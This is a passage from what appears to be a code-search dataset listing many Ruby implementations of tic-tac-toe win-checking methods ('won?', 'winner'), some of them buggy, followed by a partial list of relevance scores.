"def won?(board)\n if board == [\" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \"]\n false\n elsif\n WIN_COMBINATIONS.each do |combination|\n if board[0] == \"X\" && board[1] == \"X\" && board[2] == \"X\"\n return WIN_COMBINATIONS[0]\n elsif board[0] == \"O\" && board[1] == \"O\" && board[2] == \"O\"\n return WIN_COMBINATIONS[0]\n elsif board[3] == \"X\" && board[4] == \"X\" && board[5] == \"X\"\n return WIN_COMBINATIONS[1]\n elsif board[3] == \"O\" && board[4] == \"O\" && board[5] == \"O\"\n return WIN_COMBINATIONS[1]\n elsif board[6] == \"X\" && board[7] == \"X\" && board[8] == \"X\"\n return WIN_COMBINATIONS[2]\n elsif board[6] == \"O\" && board[7] == \"O\" && board[8] == \"O\"\n return WIN_COMBINATIONS[2]\n elsif board[0] == \"X\" && board[3] == \"X\" && board[6] == \"X\"\n return WIN_COMBINATIONS[3]\n elsif board[0] == \"O\" && board[3] == \"O\" && board[6] == \"O\"\n return WIN_COMBINATIONS[3]\n elsif board[1] == \"X\" && board[4] == \"X\" && board[7] == \"X\"\n return WIN_COMBINATIONS[4]\n elsif board[1] == \"O\" && board[4] == \"O\" && board[7] == \"O\"\n return WIN_COMBINATIONS[4]\n elsif board[2] == \"X\" && board[5] == \"X\" && board[8] == \"X\"\n return WIN_COMBINATIONS[5]\n elsif board[2] == \"O\" && board[5] == \"O\" && board[8] == \"O\"\n return WIN_COMBINATIONS[5]\n elsif board[0] == \"X\" && board[4] == \"X\" && board[8] == \"X\"\n return WIN_COMBINATIONS[6]\n elsif board[0] == \"O\" && board[4] == \"O\" && board[8] == \"O\"\n return WIN_COMBINATIONS[6]\n elsif board[2] == \"X\" && board[4] == \"X\" && board[6] == \"X\"\n return WIN_COMBINATIONS[7]\n elsif board[2] == \"O\" && board[4] == \"O\" && board[6] == \"O\"\n return WIN_COMBINATIONS[7]\n else\n return false\n end\n end\n else\n false\n end\nend",
"def won?(board)\n WIN_COMBINATIONS.each do |combo|\n index_1 = combo[0]\n index_2 = combo[1]\n index_3 = combo[2]\n\n position_1 = board[index_1]\n position_2 = board[index_2]\n position_3 = board[index_3]\n\n if position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\"\n return combo\n elsif position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\"\n return combo\n end\n end\n false\nend",
"def winner(board)\n #win_combination=won?(board)\n #if win_combination==false\n # return nil\n if !won?(board)\n #return nil\n nil\n else\n win_combination=won?(board)\n\n index1=win_combination[0]\n index2=win_combination[1]\n index3=win_combination[2]\n if board[index1]==\"X\"&&board[index2]==\"X\"&&board[index1]==\"X\" #&& over?(board)\n #return \"X\"\n \"X\"\n elsif board[index1]==\"O\"&&board[index2]==\"O\"&&board[index1]==\"O\" #&& over?(board)\n #return \"O\"\n \"O\"\n end\n end\nend",
"def won?(board)\n #iterate over WIN_COMBINATIONS\n WIN_COMBINATIONS.each do |current_index|\n win_index_1 = current_index[0]\n win_index_2 = current_index[1]\n win_index_3 = current_index[2]\n\n position_1 = board[win_index_1]\n position_2 = board[win_index_2]\n position_3 = board[win_index_3]\n\n\n if position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\"\n return current_index\n elsif position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\"\n return current_index\n end\n end\n return false\nend",
"def won?(board)\n WIN_COMBINATIONS.detect do |win|\n if (board[win[0]]) == \"X\" && (board[win[1]]) == \"X\" && (board[win[2]]) == \"X\"\n return win\n elsif (board[win[0]]) == \"O\" && (board[win[1]]) == \"O\" && (board[win[2]]) == \"O\"\n return win\n end\n end\nend",
"def won?(board)\nwin_combination = WIN_COMBINATIONS\n\n win_index_1 = win_combination[0]\n win_index_2 = win_combination[1]\n win_index_3 = win_combination[2]\n win_index_4 = win_combination[3]\n win_index_5 = win_combination[4]\n win_index_6 = win_combination[5]\n win_index_7 = win_combination[6]\n win_index_8 = win_combination[7]\n\n position_1 = board[0] # load the value of the board at win_index_1\n position_2 = board[1] # load the value of the board at win_index_2\n position_3 = board[2] # load the value of the board at win_index_3\n position_4 = board[3] # load the value of the board at win_index_4\n position_5 = board[4] # load the value of the board at win_index_5\n position_6 = board[5] # load the value of the board at win_index_6\n position_7 = board[6] # load the value of the board at win_index_7\n position_8 = board[7] # load the value of the board at win_index_8\n position_9 = board[8] # load the value of the board at win_index_9\n\n if position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\"\n return win_combination[0] # return the win_combination indexes that won.\n elsif position_4 == \"X\" && position_5 == \"X\" && position_6 == \"X\"\n return win_combination[1] # return the win_combination indexes that won.\n elsif position_7 == \"X\" && position_8 == \"X\" && position_9 == \"X\"\n return win_combination[2] # return the win_combination indexes that won.\n elsif position_1 == \"X\" && position_4 == \"X\" && position_7 == \"X\"\n return win_combination[3] # return the win_combination indexes that won.\n elsif position_2 == \"X\" && position_5 == \"X\" && position_8 == \"X\"\n return win_combination[4] # return the win_combination indexes that won.\n elsif position_3 == \"X\" && position_6 == \"X\" && position_9 == \"X\"\n return win_combination[5] # return the win_combination indexes that won.\n elsif position_7 == \"X\" && position_5 == \"X\" && position_3 == \"X\"\n return win_combination[6] # return the win_combination indexes that won.\n elsif position_1 == \"X\" && position_5 == \"X\" && position_9 == \"X\"\n return win_combination[7] # return the win_combination indexes that won.\n \n elsif position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\"\n return win_combination[0] # return the win_combination indexes that won.\n elsif position_4 == \"O\" && position_5 == \"O\" && position_6 == \"O\"\n return win_combination[1] # return the win_combination indexes that won.\n elsif position_7 == \"O\" && position_8 == \"O\" && position_9 == \"O\"\n return win_combination[2] # return the win_combination indexes that won.\n elsif position_1 == \"O\" && position_4 == \"O\" && position_7 == \"O\"\n return win_combination[3] # return the win_combination indexes that won.\n elsif position_2 == \"O\" && position_5 == \"O\" && position_8 == \"O\"\n return win_combination[4] # return the win_combination indexes that won.\n elsif position_3 == \"O\" && position_6 == \"O\" && position_9 == \"O\"\n return win_combination[5] # return the win_combination indexes that won.\n elsif position_7 == \"O\" && position_5 == \"O\" && position_3 == \"O\"\n return win_combination[6] # return the win_combination indexes that won.\n elsif position_1 == \"O\" && position_5 == \"O\" && position_9 == \"O\"\n return win_combination[7] # return the win_combination indexes that won.\n else\n false\n end\nend",
"def won?(board)\n WIN_COMBINATIONS.find do |win_combo|\n # win index, calm down.\n windex_1 = win_combo[0]\n windex_2 = win_combo[1]\n windex_3 = win_combo[2]\n # setup position placeholder to compare arrays\n position_1 = board[windex_1]\n position_2 = board[windex_2]\n position_3 = board[windex_3]\n # check positions for all \"X\" or all \"O\"\n if ((position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\") || (position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\"))\n return win_combo\n end\n end\nend",
"def won?(board)\n WIN_COMBINATIONS.each do |combo|\n if board[combo[0]] == \"X\" && board[combo[1]] == \"X\" && board[combo[2]] == \"X\"\n return combo\n elsif board[combo[0]] == \"O\" && board[combo[1]] == \"O\" && board[combo[2]] == \"O\"\n return combo\n else\n end\n end\n return false\nend",
"def won?(board)\n WIN_COMBINATIONS.each do |combo|\n if board[combo[0]] == \"X\" && board[combo[1]] == \"X\" && board[combo[2]] == \"X\"\n # x wins\n return combo\n end\n \n if board[combo[0]] == \"O\" && board[combo[1]] == \"O\" && board[combo[2]] == \"O\"\n # o wins\n return combo\n end\n end\n\n return false\nend",
"def won?(board)\n win_combo = nil\n WIN_COMBINATIONS.each do |win_combination|\n# win_index_1 = win_combination[0] alternative method to do using variable assign\n# win_index_2 = win_combination[1]\n# win_index_3 = win_combination[2]\n position_1 = board[win_combination[0]] # load the value of the board at win_index_1\n position_2 = board[win_combination[1]] # load the value of the board at win_index_2\n position_3 = board[win_combination[2]] # load the value of the board at win_index_3\n if position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\"\n win_combo = win_combination # return the win_combination indexes that won.\n elsif position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\"\n win_combo = win_combination\n end\n end\n win_combo\nend",
"def won?(board)\n WIN_COMBINATIONS.detect do |win_combination|\n if win_combination.all? do |win_position|\n board[win_position] == \"X\"\n end\n true\n elsif win_combination.all? do |win_position|\n board[win_position] == \"O\"\n end\n true\n else\n false\n end\n end\nend",
"def won?(board)\r\n sam_ex = []\r\n sam_oh = []\r\n i = 0\r\n board.each do |index|\r\n if index == \"X\"\r\n sam_ex.push(i)\r\n elsif index == \"O\"\r\n sam_oh.push(i)\r\n end\r\n i+=1\r\n end\r\n WIN_COMBINATIONS.each do |combination|\r\n if combination&sam_oh == combination || combination&sam_ex ==combination\r\n return combination\r\n end\r\n end\r\n nil\r\nend",
"def won?(board)\n game = false\n WIN_COMBINATIONS.each do |win_combination|\n if !game\n if win_combination.all?{|i| board[i]==\"X\"} || win_combination.all?{|i| board[i]==\"O\"}\n game = win_combination\n end\n end\n end\n game\n end",
"def won?(board)\n WIN_COMBINATIONS.detect do |element|\n if board[element[0]] == \"X\" && board[element[1]] == \"X\" && board[element[2]] == \"X\"\n element\n elsif board[element[0]] == \"O\" && board[element[1]] == \"O\" && board[element[2]] == \"O\"\n element\n else\n false\n end\n end\nend",
"def won?(board)\n WIN_COMBINATIONS.detect do |element|\n if board[element[0]] == \"X\" && board[element[1]] == \"X\" && board[element[2]] == \"X\"\n element\n elsif board[element[0]] == \"O\" && board[element[1]] == \"O\" && board[element[2]] == \"O\"\n element\n else\n false\n end\n end\nend",
"def won?(board)\nany_return = WIN_COMBINATIONS.any? do |combo|\n board[combo[0]] == \"X\" && board[combo[1]] == \"X\" && board[combo[2]] == \"X\" ||\n board[combo[0]] == \"O\" && board[combo[1]] == \"O\" && board[combo[2]] == \"O\"\nend\nselect_return = WIN_COMBINATIONS.select do |combo|\n board[combo[0]] == \"X\" && board[combo[1]] == \"X\" && board[combo[2]] == \"X\" ||\n board[combo[0]] == \"O\" && board[combo[1]] == \"O\" && board[combo[2]] == \"O\"\nend\n if any_return == false\n any_return\n elsif select_return != nil\n win_return = select_return[0]\n end\nend",
"def won?(board)\n WIN_COMBINATIONS.each do |win_combo|\n if (board[win_combo[0]] == \"X\" && board[win_combo[1]] == \"X\" && board[win_combo[2]] == \"X\") || (board[win_combo[0]] == \"O\" && board[win_combo[1]] == \"O\" && board[win_combo[2]] == \"O\")\n return win_combo\n end\n end\n return false\nend",
"def won?(board)\n WIN_COMBINATIONS.each do |combo|\n if board[combo[0]] == \"X\" && board[combo[1]] == \"X\" && board[combo[2]] == \"X\"\n return combo\n elsif board[combo[0]] == \"O\" && board[combo[1]] == \"O\" && board[combo[2]] == \"O\"\n return combo\n end\n end\n return false\nend",
"def won?(board)\n WIN_COMBINATIONS.detect do | win_combination |\n (board[win_combination[0]] == \"X\" && board[win_combination[1]] == \"X\" && board[win_combination[2]] == \"X\")||\n (board[win_combination[0]] == \"O\" && board[win_combination[1]] == \"O\" && board[win_combination[2]] == \"O\")\n end\nend",
"def won?(board)\n WIN_COMBINATIONS.detect do |win_combo|\n position_1 = board[win_combo[0]]\n position_2 = board[win_combo[1]]\n position_3 = board[win_combo[2]]\n\n position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\" ||\n position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\"\n end\nend",
"def won?(board)\n res = false\n WIN_COMBINATIONS.each do |win_combination|\n board_entries = [board[win_combination[0]], board[win_combination[1]], board[win_combination[2]]]\n board_entries == [\"X\", \"X\", \"X\"] || board_entries == [\"O\", \"O\", \"O\"] ? res = win_combination : false\n end\n res\n\nend",
"def won?(board)\n winner = []\n won=WIN_COMBINATIONS.any? do |arr|\n arr.all? {|position| position_taken?(board,position,\"X\")} || arr.all? {|position| position_taken?(board,position,\"O\")}\n if arr.all? {|position| position_taken?(board,position,\"X\")} || arr.all? {|position| position_taken?(board,position,\"O\")}\n winner = arr\n end\n end\n if won\n return winner\n else\n return false\n end\nend",
"def won?(board)\n x = \"X\";\n o = \"O\";\n\n WIN_COMBINATIONS.each do |win_combination|\n win_index_1 = win_combination[0];\n win_index_2 = win_combination[1];\n win_index_3 = win_combination[2];\n\n position_1 = board[win_index_1];\n position_2 = board[win_index_2];\n position_3 = board[win_index_3];\n\n if ((position_1 == x && position_2 == x && position_3 == x) ||\n (position_1 == o && position_2 == o && position_3 == o))\n return win_combination;\n else\n false\n end\n end\n return false;\nend",
"def won?(board)\n\n win_array = []\n WIN_COMBINATIONS.any? do |win_combination|\n if win_combination.all? {|win_index| board[win_index] == 'X'} || win_combination.all? {|win_index| board[win_index] == 'O'}\n return win_combination\n end\n end\nend",
"def won?(board)\n WIN_COMBINATIONS.each do |win_group|\n if win_group.all? {|win_index| board[win_index] == \"X\"}\n return win_group\n elsif win_group.all? {|win_index| board[win_index] == \"O\"}\n return win_group\n else \n false \n end \n end \n!WIN_COMBINATIONS.each do |win_group|\n return false \nend \nend",
"def won?(board)\n WIN_COMBINATIONS.each do |win_combo|\n # win_combo is a 3 element array of indexes that compose a win, [0,1,2]\n if (board[win_combo[0]] == \"X\" && board[win_combo[1]] == \"X\" && board[win_combo[2]] == \"X\") || (board[win_combo[0]] == \"O\" && board[win_combo[1]] == \"O\" && board[win_combo[2]] == \"O\")\n return win_combo # return the win_combo indexes that won.\n end\n end\n false\nend",
"def won?(board)\n # for each win_combo in WIN_COMBINATIONS\n WIN_COMBINATIONS.each do |win_combo|\n # win_combination is a 3 element array of indexes that compose a win, eg. [0,1,2]\n # grab each index from the win_combo that composes a win.\n win_index_1 = win_combo[0]\n win_index_2 = win_combo[1]\n win_index_3 = win_combo[2]\n # If/else that declares a winner if all three spots in a winning array have\n # either an \"X\" or an \"O\", respectively.\n if board[win_index_1] == \"X\" && board[win_index_2] == \"X\" && board[win_index_3] == \"X\"\n return win_combo\n elsif board[win_index_1] == \"O\" && board[win_index_2] == \"O\" && board[win_index_3] == \"O\"\n return win_combo\n end\n end\n return false\nend",
"def won?(board_array)\n winning_combo = nil\n #create a varibale to store code to check if board is empty\n empty_or_not = board_array.all? do |index|\n index == \" \"\n end\n #checks to see of board is empty or not\n if empty_or_not\n return false\n else\n #logic to check for a winning combination\n WIN_COMBINATIONS.each do |combo|\n if board_array[combo[0]] == \"X\" && board_array[combo[1]] == \"X\" && board_array[combo[2]] == \"X\"\n winning_combo = combo\n elsif board_array[combo[0]] == \"O\" && board_array[combo[1]] == \"O\" && board_array[combo[2]] == \"O\"\n winning_combo = combo\n end\n end\nend\n return winning_combo\nend",
"def win?\n win=[false,false] #[player1,player2]\n @y.times do |y|\n \t#Winning Conditions\n if @board[y][0...@x].all? {|x| x==\"X\"} # Rows\n \t win=[true,false]\n \telsif @board[y][0...@x].all? {|x| x==\"O\"}\n \t win=[false,true]\n \telsif #Diagonals (Currently limited to 3x3)\n \t if @board[0][0] == \"X\" && @board[1][1] == \"X\" && @board[2][2] == \"X\" \n \t win=[true,false]\n \t elsif @board[0][2] == \"X\" && @board[1][1] == \"X\" && @board[2][0] == \"X\"\n \t win=[true,false]\n \t elsif @board[0][0] == \"O\" && @board[1][1] == \"O\" && @board[2][2] == \"O\"\n \t win=[false,true]\n \t elsif @board[0][2] == \"O\" && @board[1][1] == \"O\" && @board[2][0] == \"O\"\n \t win=[false,true]\n \t end\n \tend\n end\n \t\n\n @x.times do |x|\n if @board[0][x] == \"X\" && @board[1][x] == \"X\" && @board[2][x] == \"X\" #Columns\n \t win=[true,false]\n \telsif @board[0][x] == \"O\" && @board[1][x] == \"O\" && @board[2][x] == \"O\" \n \t win=[false,true]\n \tend\n end\n \t \t\n \n \n return win\n end",
"def won?(board)\n WIN_COMBINATIONS.each do |c|\n if c.all?{|pos| board[pos]==\"X\"} || c.all?{|pos| board[pos]==\"O\"}\n return c\n else\n false\n end\n end\n false #If win combo not found return false\nend",
"def won?\nfor sub_array in WIN_COMBINATIONS do\nindex_1 = sub_array[0]\nindex_2 = sub_array[1]\nindex_3 = sub_array[2]\n\nboard_index_1 = @board[index_1]\nboard_index_2 = @board[index_2]\nboard_index_3 = @board[index_3]\n\n if (board_index_1 == \"X\" && board_index_2 == \"X\" && board_index_3 == \"X\") || (board_index_1 == \"O\" && board_index_2 == \"O\" && board_index_3 == \"O\") \n return sub_array\nend\nend\nfalse\nend",
"def won?(board)\n WIN_COMBINATIONS.each do |win|\n if [board[win[0]], board[win[1]], board[win[2]]] == [\"X\", \"X\", \"X\"] ||\n [board[win[0]], board[win[1]], board[win[2]]] == [\"O\", \"O\", \"O\"]\n return win\n end\n end\n return false\nend",
"def won?(board)\n for win_combination in WIN_COMBINATIONS\n if (board[win_combination[0]] == 'X' && board[win_combination[1]] == 'X' && board[win_combination[2]] == \"X\")\n return win_combination\n elsif (board[win_combination[0]] == 'O' && board[win_combination[1]] == 'O' && board[win_combination[2]] == \"O\")\n return win_combination\n end\n end\n return false\nend",
"def won?(board)\n WIN_COMBINATIONS.detect do |win_combination|\n win_index_1 = win_combination[0]\n win_index_2 = win_combination[1]\n win_index_3 = win_combination[2]\n\n position_1 = board[win_index_1]\n position_2 = board[win_index_2]\n position_3 = board[win_index_3]\n\n if position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\"\n return win_combination\n elsif position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\"\n return win_combination\n end\n end\nend",
"def won?(board)\n WIN_COMBINATIONS.detect do |win_index| # \"detect\" will only return the first element that makes the block true\n # puts win_index[0] # returns 0,3,6,0,1,2,0,6\n # (all 0 index values in WIN_COMBINATIONS[0][0],[1][0],[2][0],[3][0],[4][0],[5][0],etc.)\n # puts win_index[1] # returns 1,4,7,3,4,5,4,4\n # (all 1 index values in WIN_COMBINATIONS[0][1],[1][1],[2][1],[3][1],[4][1],[5][1],etc.)\n # puts win_index[2] # returns 2,5,8,6,7,8,8,2\n # (all 2 index values in WIN_COMBINATIONS[0][2],[1][2],[2][2],[3][2],[4][2],[5][2],etc.)\n # only need three [0,1,2] \"win_index[]\" because that is the length of child arrays\n # now check the board to see if indexes contain \"X\" or \"O\"\n board[win_index[0]] == \"X\" &&\n board[win_index[1]] == \"X\" &&\n board[win_index[2]] == \"X\" ||\n board[win_index[0]] == \"O\" &&\n board[win_index[1]] == \"O\" &&\n board[win_index[2]] == \"O\" &&\n\n position_taken?(board, win_index[0])\n # position_taken? checks if win_index[0] is not nil or not equal to \" \"\n end\n end",
"def won?(board)\n WIN_COMBINATIONS.detect do |win_combination|\n win_index_1=win_combination[0]\n win_index_2=win_combination[1]\n win_index_3=win_combination[2]\n\n if board[win_index_1]==\"X\" && board[win_index_2]==\"X\" && board[win_index_3]==\"X\"\n #return win_combination\n win_combination=win_combination\n #puts\"#{win_combination}\"\n elsif board[win_index_1]==\"O\" && board[win_index_2]==\"O\" && board[win_index_3]==\"O\"\n #return win_combination\n win_combination=win_combination\n #puts\"#{win_combination}\"\n #return win_combination\n else false#win_combination=false\n end\n\n end\n#win_combination=win_combination\n#return win_combination\n#puts\"#{win_combination}\"\nend",
"def won?(board)\n WIN_COMBINATIONS.each do | winning_combination |\n if board[winning_combination[0]] == \"X\" &&\n board[winning_combination[1]] == \"X\" &&\n board[winning_combination[2]] == \"X\" ||\n board[winning_combination[0]] == \"O\" &&\n board[winning_combination[1]] == \"O\" &&\n board[winning_combination[2]] == \"O\"\n return winning_combination\n end\n end\n false\nend",
"def won?(board)\n WIN_COMBINATIONS.each do |win_index| #interates thru list of win combinations array\n\n x_win = win_index.all? do |spot| #interates thru individual win array\n\n board[spot] == \"X\"\n\n end\n\n o_win = win_index.all? do |spot|\n\n board[spot] == \"O\"\n\n end\n\n if x_win || o_win\n\n return win_index\n\n end\n end\n else\n return false\nend",
"def won?(board)\n fin = false\n WIN_COMBINATIONS.each do |win_combination|\n win_index_1 = win_combination[0]\n win_index_2 = win_combination[1]\n win_index_3 = win_combination[2]\n\n position_1 = board[win_index_1]\n position_2 = board[win_index_2]\n position_3 = board[win_index_3]\n\n if (position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\") || (position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\")\n return win_combination #returns the winning index combinations\n else\n fin = false\n end\n end\n return fin\nend",
"def won?\n\n WIN_COMBINATIONS.each do |win_combination|\n # win_combination is a 3 element array of indexes that compose a win, [0,1,2]\n # grab each index from the win_combination that composes a win.\n win_index_1 = win_combination[0]\n win_index_2 = win_combination[1]\n win_index_3 = win_combination[2]\n\n position_1 = @board.cells[win_index_1] # load the value of the board at win_index_1\n position_2 = @board.cells[win_index_2] # load the value of the board at win_index_2\n position_3 = @board.cells[win_index_3] # load the value of the board at win_index_3\n\n if position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\"\n return win_combination # return the win_combination indexes that won.\n elsif position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\"\n return win_combination\n end\n end\n false\n end",
"def won?(board)\n WIN_COMBINATIONS.detect do |win1|\n win1.all? { |number| board[number] == \"X\"} || win1.all? { |number| board[number] == \"O\"}\n end\n end",
"def won?(board)\n WIN_COMBINATIONS.each do |win_combination|\n # get indices of each win_combination\n win_index_1 = win_combination[0]\n win_index_2 = win_combination[1]\n win_index_3 = win_combination[2]\n # get values from board that map to each index in each win_combination\n position_1 = board[win_index_1]\n position_2 = board[win_index_2]\n position_3 = board[win_index_3]\n # Are all values X's?\n if (position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\") || (position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\")\n return win_combination\n end # else not a win_combination\n\n end # WIN_COMBINATIONS.each iteration\n\n return false\nend",
"def winner(board)\n if won?(board)\n position = won?(board)\n if board[position[0]] == \"X\"\n return \"X\"\n else\n return \"O\"\n end\n end\nend",
"def winner(board)\n if !(won?(board))\n return nil\n elsif won?(board).all?{|element| board[element] == \"X\"}\n return \"X\"\n elsif won?(board).all?{|element| board[element] == \"O\"}\n return \"O\"\n end\nend",
"def winner(board)\n # index = won?(board).pop\n if won?(board) == nil\n nil\n elsif board[won?(board)[0]] == \"X\"\n \"X\"\n elsif board[won?(board)[0]] == \"O\"\n \"O\"\n end\nend",
"def won?(board)\n WIN_COMBINATIONS.each do |indices|\n result = indices.map { |i| board[i] }\n if result == [\"X\", \"X\", \"X\"] || result == [\"O\", \"O\", \"O\"]\n return indices\n end\n end\n false\nend",
"def o_won?\r\n o = @game_board.each_index.select { |position| @game_board[position] == \"O\" }\r\n get_win(o)\r\n end",
"def won?(board)\n win_set = nil\n win_set = WIN_COMBINATIONS.detect do |combo|\n board[combo[0]] == \"X\" && board[combo[1]] == \"X\" && board[combo[2]] == \"X\"\n end\n if win_set == nil\n win_set = WIN_COMBINATIONS.detect do |combo|\n board[combo[0]] == \"O\" && board[combo[1]] == \"O\" && board[combo[2]] == \"O\"\n end\n end\n return win_set\nend",
"def winner(board)\nif\n WIN_COMBINATIONS.detect do |winner|\n winner.all? {|token| board[token] == \"X\"}\n end\n who_won = \"X\"\n elsif\n WIN_COMBINATIONS.detect do |winner|\n winner.all? {|token| board[token] == \"O\"}\n end\n who_won = \"O\"\n else\n who_won = nil\n end\nend",
"def won?(board)\n WIN_COMBINATIONS.detect do |win_index| # \"detect\" will only return the first element that makes the block true\n# puts win_index[0] # returns 0,3,6,0,1,2,0,6\n# (all 0 index values in WIN_COMBINATIONS[0][0],[1][0],[2][0],[3][0],[4][0],[5][0],etc.)\n# puts win_index[1] # returns 1,4,7,3,4,5,4,4\n# (all 1 index values in WIN_COMBINATIONS[0][1],[1][1],[2][1],[3][1],[4][1],[5][1],etc.)\n# puts win_index[2] # returns 2,5,8,6,7,8,8,2\n# (all 2 index values in WIN_COMBINATIONS[0][2],[1][2],[2][2],[3][2],[4][2],[5][2],etc.)\n# only need three [0,1,2] \"win_index[]\" because that is the length of child arrays\n# now check the board to see if indexes contain \"X\" or \"O\"\n board[win_index[0]] == \"X\" &&\n board[win_index[1]] == \"X\" &&\n board[win_index[2]] == \"X\" ||\n board[win_index[0]] == \"O\" &&\n board[win_index[1]] == \"O\" &&\n board[win_index[2]] == \"O\" &&\n\n position_taken?(board, win_index[0])\n# position_taken? checks if win_index[0] is not nil or not equal to \" \"\n end\nend",
"def won?(board)\n WIN_COMBINATIONS.each do |combination|\n if board[combination[0]] == \"X\" && board[combination[1]] == \"X\" && board[combination[2]] == \"X\" || board[combination[0]] == \"O\" && board[combination[1]] == \"O\" && board[combination[2]] == \"O\"\n return combination\n end\n end\n return false\nend",
"def won?\n the_win_combination = false\n WIN_COMBINATIONS.each do |win_combination|\n win_index_1 = win_combination[0]\n win_index_2 = win_combination[1]\n win_index_3 = win_combination[2]\n\n position_1 = @board[win_index_1]\n position_2 = @board[win_index_2]\n position_3 = @board[win_index_3]\n\n if (position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\") ||\n (position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\")\n the_win_combination = win_combination\n break\n end\n end\n the_win_combination\n end",
"def winner(board)\n if won?(board) !=false\n winning_index = won?(board)\n\n if board[winning_index[0]] == \"X\"\n return \"X\"\n else\n return \"O\"\n end\n end\n\nend",
"def won?\n WIN_COMBINATIONS.detect do |element|\n if (@board[element [0]]) == \"X\" && (@board[element[1]]) == \"X\" && (@board[element [2]]) == \"X\"\n return element\n elsif (@board[element[0]]) == \"O\" && (@board[element [1]]) == \"O\" && (@board[element[2]]) == \"O\"\n return element\n end\n false\n end\nend",
"def won?(board)\n i = 0\n while i < 9\n if board[WIN_COMBINATIONS[i][0]] == \"X\" and board[WIN_COMBINATIONS[i][1]] == \"X\" and board[WIN_COMBINATIONS[i][2]] == \"X\"\n return WIN_COMBINATIONS[i]\n elsif board[WIN_COMBINATIONS[i][0]] == \"O\" and board[WIN_COMBINATIONS[i][1]] == \"O\" and board[WIN_COMBINATIONS[i][2]] == \"O\"\n return WIN_COMBINATIONS[i]\n end\n i += 1\n end\nrescue NoMethodError\n return false\nend",
"def winner(board)\n #setting the index of the win into a variable, win\n win = won?(board)\n #now returning nil if there is no winner\n if won?(board) == false\n return nil\n #all indexes should have the same token for a win, so we're only checking the first\n elsif board[win[0]] == \"X\" && won?(board) != false\n return \"X\"\n elsif board[win[0]] == \"O\" && won?(board) != false\n return \"O\"\n end\nend",
"def winner(board)\n\n if won?(board) != nil\n winner_arr_firstindex = won?(board)[0]\n if board[winner_arr_firstindex] == \"X\"\n return \"X\"\n elsif board[winner_arr_firstindex] == \"O\"\n return \"O\"\n end\n end\n\nend",
"def won?\n \n # Iterates through WIN_COMBINATIONS and finds first matching win_combination and returns the winning array.\n WIN_COMBINATIONS.detect do |win_combination|\n \n # Each 'win_index' returns the first, second, and third elements of each winning combo array.\n win_index_1 = win_combination[0]\n win_index_2 = win_combination[1]\n win_index_3 = win_combination[2]\n \n # Each 'position' uses the indices from the winning combos and applies them to the 'board' array.\n position_1 = @board[win_index_1]\n position_2 = @board[win_index_2]\n position_3 = @board[win_index_3]\n \n # Takes first win_combination and checks to see if they are all \"X\"'s or \"O\"'s and that the string is not empty.\n position_1 == position_2 && position_2 == position_3 && position_taken?(win_index_1)\n end\n end",
"def move(board)\n\n # Check if each index in the top_row_win array contains an \"X\"\n if board[WIN_COMBINATIONS[0][0]] == \"X\" && board[WIN_COMBINATIONS[0][1]] == \"X\" && board[WIN_COMBINATIONS[0][2]] == \"X\"\n puts \"X won in the top row\"\n end\n=begin\n elsif board[top_row_win[3]] == \"X\" && board[top_row_win[4]] == \"X\" && board[top_row_win[5]] == \"X\"\n puts \"X won in the center row\"\n elsif board[top_row_win[6]] == \"X\" && board[top_row_win[7]] == \"X\" && board[top_row_win[8]] == \"X\"\n puts \"X won in the bottom row\"\n elsif board[top_row_win[0]] == \"X\" && board[top_row_win[4]] == \"X\" && board[top_row_win[8]] == \"X\"\n puts \"X won in the left down diagonally row\"\n elsif board[top_row_win[2]] == \"X\" && board[top_row_win[4]] == \"X\" && board[top_row_win[6]] == \"X\"\n puts \"X won in the right down diagonally row\"\n elsif board[top_row_win[0]] == \"X\" && board[top_row_win[3]] == \"X\" && board[top_row_win[6]] == \"X\"\n puts \"X won in the left straight down row\"\n elsif board[top_row_win[2]] == \"X\" && board[top_row_win[5]] == \"X\" && board[top_row_win[8]] == \"X\"\n puts \"X won in the right straight down row\"\n elsif board[top_row_win[1]] == \"X\" && board[top_row_win[4]] == \"X\" && board[top_row_win[7]] == \"X\"\n puts \"X won in the center down\"\n end\n=end\nend",
"def won?(board)\n\t WIN_COMBINATIONS.each do | winning_combo |\n\t\ta, b, c = winning_combo[0], winning_combo[1], winning_combo[2]\n\t\tif board[a] == 'X' && board[b] == 'X' && board[c] =='X'\n\t\t\treturn winning_combo\n\t\telsif board[a] =='O' && board[b] == 'O' && board[c] == 'O'\n\t\t\treturn winning_combo \n\t\tend\n\tend\n\tnil\nend"
] |
[
"0.85926086",
"0.8454342",
"0.8345333",
"0.83436817",
"0.83436817",
"0.828746",
"0.8274003",
"0.8226527",
"0.8225868",
"0.82063174",
"0.82012546",
"0.82012546",
"0.81948066",
"0.8183431",
"0.8172323",
"0.816214",
"0.8160101",
"0.81568503",
"0.8137166",
"0.81353813",
"0.8132272",
"0.81061506",
"0.8095011",
"0.8094014",
"0.8092144",
"0.8089514",
"0.80767435",
"0.8066386",
"0.80647504",
"0.80617976",
"0.80552846",
"0.8052307",
"0.80460674",
"0.8043062",
"0.80419946",
"0.80356836",
"0.8033711",
"0.8033711",
"0.8025052",
"0.80187696",
"0.8016812",
"0.80156577",
"0.80132616",
"0.80043703",
"0.8002226",
"0.80000985",
"0.7999274",
"0.7998128",
"0.7990956",
"0.79862815",
"0.79750764",
"0.79735553",
"0.79701406",
"0.7969661",
"0.7969661",
"0.7966979",
"0.7964207",
"0.7958191",
"0.7956834",
